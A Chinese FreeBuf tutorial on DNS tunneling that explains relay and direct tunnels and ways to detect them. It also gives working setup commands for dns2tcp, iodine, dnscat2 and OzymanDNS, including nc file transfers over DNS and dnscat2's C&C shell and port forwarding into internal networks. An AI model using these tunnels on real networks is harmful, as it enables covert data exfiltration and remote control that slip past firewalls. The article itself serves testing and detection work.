DNSTunneling及相关实现|

  • A+
所属分类:神兵利刃

*本文原创作者:novsec,本文属FreeBuf原创奖励计划,未经许可禁止转载

DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在我们的网络世界中DNS是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作,现在越来越多的研究证明DNS Tunneling也经常在僵尸网络和APT攻击中扮演着重要的角色。

DNS概述

DNS在我们的网络世界中是一个非常重要的协议,它将长串的不适合记忆的IP地址映射成可读性较强的字符域名。整个域名空间呈层次化的树状结构,顶层是根域,全球一共有13个根域。根域下为我们平常熟悉的顶级域,如.com,.net,.org等。域名的存储、解析和管理都要通过域名服务器来实现。根据域名所属域和授权范围可以划分Zone,Zone上的主服务器和辅服务器均被称为权威域名服务器。权威域名服务器上保存了该域的所有主机信息。

DNS的记录类型有很多,大家常见的有A,AAAA,CNAME,MX,SOA,NS等。DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,MX,CNAME,TXT,NULL等。

DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。

DNS Tunneling原理简述

DNS Tunneling可以分为直连和中继两种。直连也就是Client直接和指定的目标DNS Server(Authoritative NS Server)连接,通过将数据编码封装在DNS协议中进行通信,这种方式速度快,但是隐蔽性比较弱,很容易被探测到,另外限制比较高,很多场景不允许自己指定DNS Server。而通过DNS迭代查询而实现的中继隧道,则更为隐秘,但同时因为数据包到达目标DNS Server前需要经过多个节点,所以速度上较直连慢很多。DNS Tunneling的中继模式过程如下图所示。

DNSTunneling及相关实现|

上图中,UserA 和User B由于防火墙D的规则限制无法访问外网,但防火墙上对于DNS的流量是放行的。当User需要解析的域名Local DNS Server无法给出回答时,Local DNS Server就会采用迭代查询通过互联网与各级域的权威服务器进行查询,比如从com域的服务器得到test.com域的权威服务器地址,最后定位到所查询域的权威DNS Server,形成一个逻辑信道。所以,我们可以将通信的数据封装在客户端查询的请求中,当请求的数据包经过上图的路径,最终到达我们控制的权威DNS Server时,再从请求数据包中解析出数据,并将相应的数据封装在DNS Response中,返回给Client完成通信。(Local DNS Server可以由Remote DNS Server代替,原理相同)

关键技术

中继过程中的一个关键点是对DNS缓存机制的规避,因为如果需要解析的域名在Local DNS Server中已经有缓存时,Local DNS Server就不会转发数据包。所以在我们构造的请求中,每次查询的域名都是不一样的或者是已经是过期的。

对DNS载荷的编码是DNS Tunneling的另一个核心技术。从高层来看,载荷只是客户端和服务器通信的正常流量。例如客户端发送一个A记录请求给服务器,查询的主机名为2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com,其中2roAUwBaCGRuc3R1bm5lbGluZwo则是客户端传递给服务器的信息,这串字符解码后的信息便是dnstunneling。

最后,因为大多数场景下,内网的Client位于防火墙后,Server不可能发起连接。所以大多数工具,Client会定时向Server发送请求,保证二者之间的通信状态。

实现工具及检测

DNS Tunneling从提出到现在已经有了很多的实现工具,历史比较早的有NSTX,Ozymandns,目前比较活跃的有iodine,dnscat2,其他的还有DeNise,dns2tcp,Heyoka等。不同工具的核心原理相似,但在编码,实现细节和目标应用场景方面存在一定的差异性。

目前已经提出了多种检测技术,例如通过请求和相应包的大小进行监测,通常dns tunneling为了取得较大的带宽,会选择构造尽量大的dns请求和响应。还可以通过分析一定时间窗口内所产生的FQDN数,通常DNS Tunneling的FQDN数在一定时间窗口内会远高于正常的DNS流量。另外在Detecting DNS Tunnels Using Character Frequency Analysis论文中,证明了还可以通过词频的检测识别DNS Tunneling的流量。根据Zipf定律,在自然语言的语料库里,一个单词出现的次数与它在频率表里的排名成反比。正常的域名也符合这个定律。而在这篇论文中,证明了DNS Tunneling中由于域名做了编码,不符合Zipf定律,整个分布趋于平稳。另外很多DNS Tunneling使用TXT记录类型发送请求和响应,而在正常的DNS网络流量中,TXT记录的比例可能只有1%-2%,如果时间窗口内,TXT记录的比例激增,那么也意味着存在异常。

测试平台

我的测试平台直接部署在真实的网络环境中。

客户端: kali x64

服务端: vps (日本)

Local DNS: 谷歌(8.8.8.8),阿里(223.5.5.5),DNSPoD(119.29.29.29)

公网域名: xxx.xxx (以下用代替)

权威DNS Server配置

采用中继模式工作,所有工具的基础是需要配置一台权威DNS Server。如果没有公网域名可以从freedns注册三级域名,不过有的地区好像不可用。

注册完域名后,我们需要配置一个A记录和一个NS记录(也可以配置多个NS记录)。如

ns.domain.com IN A xxx.xxx.xxx.xxx

abc.domain.com IN NS ns.domain.com

详细的配置过程可以参考这个链接

Dns2tcp

dns2tcp 是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的请求,用C语言开发。它分为两个部分,服务端和客户端,服务端运行在linux服务器上,客户端可以运行在linux和windows上(其他平台没有测试过),编译完成后在服务端上的可执行文件名称为dns2tcpd,在客户端(linux)上的名称为dns2tcpc,kali默认安装了二者。下述为主要参数及解释,详情请参考手册。

dns2tcpd

-F     强制在在台运行,默认在后台
-i IP address
      监听ip,默认0.0.0.0
-f 配置文件
      指定使用的配置文件路径
-d debug level
      指定调试级别,输出相关级别日志,默认为1,2,3

dns2tcpc

-c             : 启用压缩
-z <domain>    : 指定所使用的域名
-d <1|2|3>    : 调试级别 (1, 2 or 3)
-r <resource>    : 访问的目标资源
-f <filename>    : 配置文件路径
-l <port|->    : 本地监听端口
-T <TXT|KEY>    : DNS请求类型,默认为TXT

配置文件

为了避免运行时指定太多的参数,可以通过指定配置文件来启动服务端。示例如下:

listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = <domain.com>
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:    127.0.0.1:3128,nc:127.0.0.1:2222

其中resource这个参数稍作解释:

格式:<name>:<ip>:<port>

其中name为自定义标识,通常为本地开启的目标服务名称,ip如果是本机为127.0.0.1, 端口则为目标服务所监听的端口,或者说服务端通过该端口将流量转发给目标服务。例如希望在服务端和客户端用nc来进行对接传输文件,我可以自定义nc:127.0.0.1:2222。

在客户端不指定resource这个参数的时候,会列出对应server可以接受的资源。

示例

服务端

dns2tcpd -f /etc/dns2tcpd.conf -d 3
nc -l 2222 > test.txt

客户端

dns2tcpc -r nc -d 3 -z <domain.com> <server ip> -l 8888
nc 127.0.0.1 8888 < test.txt

在服务端开启dns2tcp服务,强制在前台运行,并设置调试级别,从而能比较清楚的看到服务端的日志。同时使用nc 在2222端口开启监听,将数据重定向输出到test.txt文件。

客户端通过制定nc资源,所使用的域名,目标dns server的ip,以及指定本地的8888监听端口与dns server建立通信连接,同时也用nc访问本地8888端口,并用test.txt进行重定向输入。

通过在服务端和客户端使用nc进行双向对接,我们可以利用dns2tcp完成文件传输。

初步分析

通过抓包提取dns协议里的附件字段或者直接查看在客户端打出的log,可以发现clent通过TXT类型记录的域名前缀来发出数据,通过DNS RR中的TXT记录来附加回应的内容。域名前缀和回应内容均采用base64编码,如果提取单条数据,进行base64解码,即可看到传输的内容。

从发包行为上可以发现,如果在进行传输数据这种大量数据交互操作的情况,dns2tcp会将数据切分成若干个小单元,依次发出,时间间隔非常小,而当无数据交互,空闲时,两端仍然通过发包维持通信状态,客户端大约每隔0.6s发出一个状态包。

从捕包的源IP和目的IP来看,dns2tcp并不是利用dns中继进行通信的,而是直接和目的DNS服务器(服务端)直接通信。

iodine

iodine是目前比较活跃,知名度比较大的一个dns tunneling实现工具,平台覆盖范围广,它可以运行在Linux, Mac OS X, FreeBSD, NetBSD, OpenBSD 和 Windows上,甚至还有android客户端,不过它需要安装TUN/TAP。官方称上行速度最大680 kbit/s,下行速度上限可以达到2.3Mbit/s。

安装

官网上给出了安装方法,可以通过make &make install安装。另外,如果在centos 7上,我发现可以通过yum直接安装。而在kali中,也可以通过apt-get直接安装。

在iodine的测试过程中,我使用过3家公用dns,分别是阿里的dns-223.5.5.5,dnspod的dns-119.29.29.29,谷歌dns-8.8.8.8。阿里dns在中继模式下无法指定NULL类型的查询请求,而DNSPOD和google可以,且同为国内dns,阿里的速度不如dnspod,这个因具体网络环境不同,国内两家dns在中继模式下传输3M文件,需手调参数,自动模式下很容易传输中途失败。而谷歌dns速度明显较国内两家快很多,自动模式下即可轻松完成传输。

参数说明

Server:

iodined  [options] <tunnel_ip> <topdomain>

tunnel_ip    :    指定server在TUN接口上的IP,客户端的TUN接口IP会和服务端在同一子网内
topdomain    :    用来构造域名的上级域,也就是我们ns记录中的指定域名

Options:

-D            :    指定调试级别,-DD指第二级,‘D’随等级增加

Client:

iodine [options] <topdomain>

Options:

-r         :    采用DNS中继模式传输数据
-M            :    指定上行主机名大小
-m         :    调节最大下行分片大小
-T         :    指定所使用的DNS请求类型,可选有NULL,PRIVATE,TXT,SRV,MX,CNAME,A
-O         :    指定数据编码规范
-L         :    是否使用懒惰模式,默认开启
-I         :    指定请求间的时间间隔

公用Options:

-f                 :    前台运行
-P password     :    指定一个password进行认证,如果不指定,后续会提示

使用示例

服务端:

iodined  -c -P 123pass 192.168.99.1 <domain.com> -DDD
nc -l 1234  < test.txt

客户端:

iodine -f -P 123pass <domain.com> -r

nc 192.168.99.1 1234 < test.txt

使用dnspod时,客户端指定某些参数以完成整个传输

iodine -f -P 123pass <domain.com> -r -T CNAME -O base64u -m 512 -L0

特性分析

iodine支持直接转发和中继两种模式。客户端和服务端建立通信后,可以看到客户机上多出一块名为dns0的虚拟网卡。iodine支持NULL,TXT,SRV,MX,CNAME,A等多种查询请求类型,并且支持EDNS,支持base32,base64,base128等多种编码规范。iodine在直连模式下,速度相当可观,我试过建立隧道后,用ssh做代理转发,可以流畅播放youtube 1080p,原理暂未分析。在中继模式下,使用谷歌的dns,也是Dns Tunneling工具中速度最快的。更多使用方法和功能特性请参考官方文档。

Dnscat2

Dnscat2的定位是一个封装在DNS协议中加密的命令与控制(C&C)信道。它同样是C/S架构,Client位于感染主机,而Server位于权威域名服务器上,如果没有权威域名服务器,则可以采用直连模式。作者很坚持Dnscat2是一个命令与控制工具,并非像其他的DNS Tunneling工具一样可以用来摆脱web收费验证,免费上网。

安装

Dnscat2客户端基于C开发的,服务器端基于ruby开发。github官方主页上给出了详细的安装步骤及可能遇到的问题,请参考github Readme。

在测试过程中,我原本使用的DNS是dnspod的公用dns,但是发现包传输出错率较高,延迟大,可能由于我的vps在境外,所以改用google 8.8.8.8后,效果明显好转。可能因具体网络环境而异。

使用示例

服务端:

ruby ./dnscat2.rb <domain.com>

客户端:

./dnscat2 <domain.com>

服务端建立好后,可以用如下命令测试Client是否能和服务端成功建立通信。

./dnscat --ping <domain.com>

Dnscat2服务端的是交互模式,作者说采用这种设计是受metasploit和meteprete的启发。而服务端的使用方法也确实和metasploit和meteprete的使用方法类似,所以大家应该不难上手。

客户端和服务端建立通信后,就没有客户端什么事了,服务端此时处于交互模式下,作者为大家提供了很多windows来作为管理会话和连接的窗口,默认为主window,用windows可以查看目前有哪些window存在,每个连接都是一个独立的window,window -i 1进入1号window,此时可以用help命令还查看都有哪些功能,如下所示:

  • clear delay download echo exec listen ping shell

其中,shell可以建立到对应客户端的shell,download可以直接下载文件,不过需要注意的是download默认是将所有的数据先写入缓存,最后一次写入硬盘,所以在传输较大文件时,很长时间会发现没有文件产生。

端口转发

在window下有个listen的功能,它提供了端口转发的功能,可以通过它直接渗透内网。使用方法类似SSH -L。

listen [lhost]:[lport] [rhost]:[rport]

以上传文件为例:

客户端A:10.211.55.1
内网某机器B:10.211.55.2

服务端(DNS)C: 172.16.18.2

此时,A和C已经建立连接。

服务端C命令:

listen [127.0.0.1]:2222 10.211.55.2:1234
nc 127.0.0.1 2222 < test.txt

客户端A:

nc -l 1234 > test.txt

其他特性

Dnscat2 默认是加密的,服务端可以通过–security=open关闭加密。可以提高传输的稳定性。

Dnscat2 还提供了多域名并发特性,可以将多个子域绑定在同一个NS下,然后在服务端同时接收多个客户端连接。不过,没有找到一个客户端连接利用多域名通信的方法,不知道作者有没有实现这个功能。

操作命令如下:

服务端

ruby dnscat2.rb  --dns=port=53532  --security=open
dnscat2> start --dns domain=<domain.com>,domain=<domain.com>

客户端:

./dncat <domain.com>

我试过 “./dncat –dns domain=,domain=”,想在一个客户端利用多域名通信,然而通过抓取流量分析,还是只用了一个域名。

Dnscat2 利用的DNS请求类型默认是TXT,CNAME,MX随机混合使用,可以在运行时通过参数自定义。

OzymanDNS

OzymanDNS是较早的一个工具,它基于perl开发,我只在作者博客上找到了一个0.1版本,它的主要功能就是结合ssh做文件传输。请求类型是TXT,用base32编码,响应用base64编码。

安装

OzymanDNS需要依赖其他的perl模块,所以安装的时候需要根据提示完成一些其他的依赖。

使用示例

服务端:

./nomde.pl -i 0.0.0.0 <domain.com>
nc -l 1234 > test.txt

客户端:

ssh -o ProxyCommand="./droute.pl  sshdns.domain.com" -L 7777:127.0.0.1:1234 -Nf user@host
nc 127.0.0.1 7777 < test.txt

客户端使用了SSH -L 的端口转发功能。

特性分析

在示例的文件传输过程中,每16k写入一次硬盘。Ozymandns的功能较单一,不如前几个那么稳健强大。而且年久失修,只能作为一个参考,我在测试过程中,始终无法顺利完成一个大于1M的文件传输。

总结

通过对四个工具的测试,Ozymandns是比较老旧了,功能单一,没有实用价值。Dns2tcp采用直连,但速度不是特别乐观,优势在于kali直接集成了这个工具,部分linux发行版也都可以直接通过包工具下载,相对方便。iodine和Dnscat2则是目前的主流,Dnscat2提供了灵活的交互模式,而iodine则在编码,请求类型上提供了更丰富的选择,而且在速度方面,其他工具望尘莫及。

Ref:

  1. Detecting DNS Tunnels Using Character Frequency Analysis. Kenton Born,Dr. David Gustafson
  2. Domain Name System

*本文原创作者:novsec,本文属FreeBuf原创奖励计划,未经许可禁止转载

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin